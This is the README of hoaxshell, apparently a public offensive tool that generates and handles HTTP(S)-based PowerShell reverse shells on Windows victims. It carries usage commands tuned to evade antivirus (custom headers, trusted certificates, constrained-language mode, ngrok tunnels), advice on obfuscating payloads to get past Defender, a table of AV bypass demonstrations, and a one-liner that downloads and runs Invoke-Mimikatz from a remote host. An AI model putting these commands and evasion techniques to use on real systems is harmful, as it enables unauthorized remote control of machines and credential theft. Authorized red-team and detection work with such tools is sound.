hoaxshell
⚡ The latest version of this project is the HoaxShell standalone
listener which comes with refreshed payload templates. Wou can
also use it directly from https://revshells.com (make sure to choose
hoaxshell as the listener).
⚠️As of 2022-10-18, hoaxshell is detected by AMSI (malware-encyclopedia).
You need to obfuscate the generated payload in order to use. Check out this
video on how to obfuscate manually and bypass MS Defender:
Example with Hoaxshell -> youtube.com/watch?v=iElVfagdCD4
Example with common powershell revshell templates -
> youtube.com/watch?v=3HddKylkRzM
Purpose
hoaxshell is a Windows reverse shell payload generator and handler that
abuses the http(s) protocol to establish a beacon-like reverse shell, based on
the following concept:
This c2 concept (which could be implemented by using protocols other than
http or pre-installed exes) can be used to establish sessions that promote the
illusion of having a shell, but are far from an actual pty.
HoaxShell did well against AV software (check AV bypass PoCs table for more
info). Although it is now generally detected, it is easy to obfuscate the
generated payload(s) using automated tools or manually.
Disclaimer: Purely made for testing and educational purposes. DO NOT run
the payloads generated by this tool against hosts that you do not have
explicit permission and authorization to test. You are responsible for any
trouble you may cause by using this tool.
Video Presentations
[2022-10-11] Recent & awesome, made by John Hammond -
> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] Original release demo, made by me -> youtube.com/watch?
v=SEufgD5UxdU
Screenshots
Find more screenshots here.
Installation
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
Usage
Important: As a means of avoiding detection, hoaxshell is automatically
generating random values for the session id, URL paths and name of a
custom http header utilized in the process, every time the script is started.
The generated payload will work only for the instance it was generated for.
Use the -g option to bypass this behaviour and re-establish an active session
or reuse a past generated payload with a new instance of hoaxshell.
Basic shell session over http
When you run hoaxshell, it will generate its own PowerShell payload for you
to copy and inject on the victim. By default, the payload is base64 encoded
for convenience. If you need the payload raw, execute the "rawpayload"
prompt command or start hoaxshell with the -r argument. After the payload
has been executed on the victim, you'll be able to run PowerShell commands
against it.
Payload that utilizes Invoke-Expression (default)
sudo python3 hoaxshell.py -s <your_ip>
Payload that writes and executes commands from a file
Use -x to provide a .ps1 file name (absolute path) to be created on the victim
machine. You should check the raw payload before executing, make sure the
path you provided is solid.
sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\
hack.ps1"
Recommended usage to avoid detection (over http)
Hoaxshell utilizes an http header to transfer shell session info. By default, the
header is given a random name which can be detected by regex-based AV
rules. Use -H to provide a standard or custom http header name to avoid
detection.
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\
$env:USERNAME\.local\hack.ps1"
Encrypted shell session (https + self-signed
certificate)
This particular payload is kind of a red flag, as it begins with an additional
block of code that instructs PowerShell to skip SSL certificate checks, which
makes it suspicious and easy to detect as well as significantly longer in
length. Not recommended.
# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k
<path/to/key.pem>
Encrypted shell session with a trusted certificate
If you own a domain, use this option to generate a shorter and less
detectable https payload by providing your DN with -s along with a trusted
certificate (-c cert.pem -k privkey.pem).
sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k
<path/to/key.pem>
Grab session mode
In case you close your terminal accidentally, have a power outage or
something, you can start hoaxshell in grab session mode, it will attempt to
re-establish a session, given that the payload is still running on the victim
machine.
sudo python3 hoaxshell.py -s <your_ip> -g
Important: Make sure to start hoaxshell with the same settings as the
session you are trying to restore (http/https, port, etc).
Constraint language mode support
Use any of the payload variations with the -cm (--constraint-mode) option to
generate a payload that works even if the victim is configured to run PS in
Constraint Language mode. By using this option, you sacrifice a bit of your
reverse shell's stdout decoding accuracy.
sudo python3 hoaxshell.py -s <your_ip> -cm
Shell session over https using tunneling tools
(Ngrok / LocalTunnel)
Utilize tunnelling programmes Ngrok or LocalTunnel to get sessions
through secure tunnels, overcominge issues like not having a Static IP
address or your ISP forbidding Port-Forwarding.
Use -ng or --ngrok for Ngrok server
sudo python3 hoaxshell.py -ng
Use -lt or --localtunnel for LocalTunnel server
sudo python3 hoaxshell.py -lt
Limitations
The shell is going to hang if you execute a command that initiates an
interactive session. Example:
# this command will execute succesfully and you will have no problem:
> powershell echo 'This is a test'
# But this one will open an interactive session within the hoaxshell session
and is going to cause the shell to hang:
> powershell
# In the same manner, you won't have a problem executing this:
> cmd /c dir /a
# But this will cause your hoaxshell to hang:
> cmd.exe
So, if you for example would like to run mimikatz throught hoaxshell you
would need to invoke the commands:
hoaxshell > IEX(New-Object
Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-
Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'
Long story short, you have to be careful to not run an exe or cmd that starts
an interactive session within the hoaxshell powershell context.
AV Bypass PoCs
Some awesome people were kind enough to send me/publish PoC videos of
executing hoaxshell's payloads against systems running AV solutions other
than MS Defender, without being detected. Below is a reference table with
links:
Important: I don't know if you can still use hoaxshell effectively to bypass
these solutions. It's only reasonable to assume the detectability will change
soon (if not already).
AV
Date PoC
Solution
2022-
SentinelOne https://twitter.com/i/status/1582137400880336896
10-18
2022-
Norton https://twitter.com/i/status/1582278579244929024
10-17
https://www.linkedin.com/posts/rohitjain-19_hoaxshell-
2022-
Bitdefender cy83rr0h1t-penetrationtesting-activity-6987080745139765248-
10-15
8cdT?utm_source=share&utm_medium=member_desktop
2022-
McAfee https://twitter.com/i/status/1581605531365814273
10-15
2022-
Kaspersky https://www.youtube.com/watch?v=IyMH_eCC4Rk
10-13
Sophos 2022- https://www.youtube.com/watch?v=NYR0rWx4x8k
AV
Date PoC
Solution
09-08
News
13/10/2022 - Added constraint language mode support (-cm) option.
08/10/2022 - Added the -ng and -lt options that generate PS payloads
for obtaining sessions using tunnelling tools ngrok or localtunnel in
order to get around limitations like Static IP addresses and Port-
Forwarding.
06/09/2022 - A new payload was added that writes the commands to be
executed in a file instead of utilizing Invoke-Expression. To use this, the
user must provide a .ps1 file name (absolute path) on the victim
machine using the -x option.
04/09/2022 - Modifications were made to improve the command delivery
mechanism as it included components that could be easily flagged.
The -t option along with the https_payload_trusted.ps1 were added. You
can now use hoaxshell by supplying a domain name along with a
trusted certificate. This will generate a shorter and less detectable
https payload.
01/09/2022 - Added the -H option which allows users to give a custom
name to the (random by default) header utilized in the attack process,
carring the shell's session id. This makes the attack less detectable
e.g. by using a standard header name e.g. "Authorization".
31/08/2022 - Added the -i option that generates the PS payload
adjusted to use "Invoke-RestMethod' instead of 'Invoke-WebRequest'
utility, so now the user can choose (thanks to this issue). I also fixed a
bug that existed in the prompt (it sometimes messed the path).
https://github.com/t3l3machus/hoaxshell
